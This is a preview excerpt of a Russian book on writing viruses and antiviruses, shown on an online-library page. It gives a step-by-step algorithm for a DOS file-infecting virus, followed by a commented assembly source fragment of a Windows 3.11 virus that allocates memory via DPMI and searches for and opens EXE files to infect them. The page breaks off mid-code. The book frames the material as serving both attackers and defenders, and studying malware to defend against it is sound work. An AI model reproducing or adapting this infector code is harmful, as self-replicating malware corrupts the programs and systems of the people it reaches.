Игорь Гульев - Создаем вирус и антивирус

Тут можно читать онлайн Игорь Гульев - Создаем вирус и антивирус - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.
Игорь Гульев - Создаем вирус и антивирус

Игорь Гульев - Создаем вирус и антивирус краткое содержание

Создаем вирус и антивирус - описание и краткое содержание, автор Игорь Гульев, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

Virus Warning!

С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».

В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус - читать онлайн бесплатно ознакомительный отрывок

Создаем вирус и антивирус - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Игорь Гульев
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI

Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер «повиснет» или произойдет перезагрузка системы, инфицированная программа окажется «чистой», то есть без вируса. Но, во-первых, «кто не рискует, тот не пьет шампанского», а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву.

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер начало инфицированной программы, расположенное в конце файла.

14. Записать считанное начало программы поверх кода вируса в начало файла.

15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).

16. Закрыть файл.

17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.

18. После завершения работы программы опять открыть стартовый файл.

19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.

20. Закрыть файл.

21. Вернуть управление в DOS.

Глава 3 Вирусы под Windows

В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.

Вирусы под Windows 3.11

В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».

Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.

4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.

.286

.MODEL TINY

.CODE

;Сохраним регистры и флаги

pushf

pusha

push ds

push es

;Проверим, доступен ли DPMI. Если доступен,

;продолжаем, если нет – выходим

mov ax,1686h

int 2Fh

or ax,ax

jz dpmi_exist

;Восстановим регистры и флаги

exit:

pop es

pop ds

popa

popf

;Запустим программу−носитель

db 0EAh

relocIP dw 0

relocCS dw 0FFFFh

dpmi_exist:

;Выделим линейный блок памяти, используя DPMI

mov ax,0501h

mov cx,0FFFFh

xor bx,bx

int 31h

;Сохраним индекс и 32−битный линейный адрес

;полученного блока памяти в стеке

push si

push di

push bx

push cx

;Создадим дескриптор в таблице LDT

xor ax,ax

mov cx,1

int 31h

;В поле адреса полученного дескриптора

;установим адрес нужного блока памяти

mov bx,ax

mov ax,7

pop dx

pop cx

int 31h

;В поле предела полученного дескриптора

;установим размер выделенного блока памяти

mov ax,8

mov dx,0FFFFh

xor cx,cx

int 31h

;В поле прав доступа полученного дескриптора установим значение,

;соответствующее сегменту данных, доступному для чтения и записи

mov ax,9

mov cl,11110010b

xor ch,ch

int 31h

;Загрузим селектор в регистр DS. После этого регистр DS будет

;указывать на выделенный блок памяти

mov ds,bx

;Читаем из стека и сохраняем в памяти

;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

;Получим текущую DTA

mov ah,2Fh

int 21h

mov [DTA],bx

mov [DTA+2],es

;Найдем первый EXE−файл (маска *.EXE)

mov ah,4Eh

xor cx,cx

mov dx,OFFSET wild_exe

push ds

push cs

pop ds

int 21h

pop ds

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Перейдем к следующему файлу – этот не подходит

close_exe:

;Закроем файл

mov ah,3Eh

int 21h

;Найдем следующий файл

mov ah,4Fh

int 21h

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Файл найден, проверим его на пригодность к заражению

found_exe:

;Откроем файл для чтения и записи

push ds

lds dx,DWORD PTR [DTA]

add dx,1Eh

mov ax,3D02h

int 21h

pop ds

;Прочтем старый заголовок

mov dx,OFFSET old_hdr

mov bx,ax

mov cx,40h

mov ah,3Fh

int 21h

;Проверим сигнатуру, это EXE−файл?

cmp WORD PTR [old_hdr],”ZM”

jne close_exe

;Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный EXE−файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому что это может оказаться

;PE−, LE−, LX−executable или другой

;(PE−executable описан в разделе,

;посвященном Windows 95, остальные

;типы EXE−файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

;Перейдем ко второму заголовку (может быть, это NewEXE?):

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Игорь Гульев читать все книги автора по порядку

Игорь Гульев - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Создаем вирус и антивирус отзывы


Отзывы читателей о книге Создаем вирус и антивирус, автор: Игорь Гульев. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x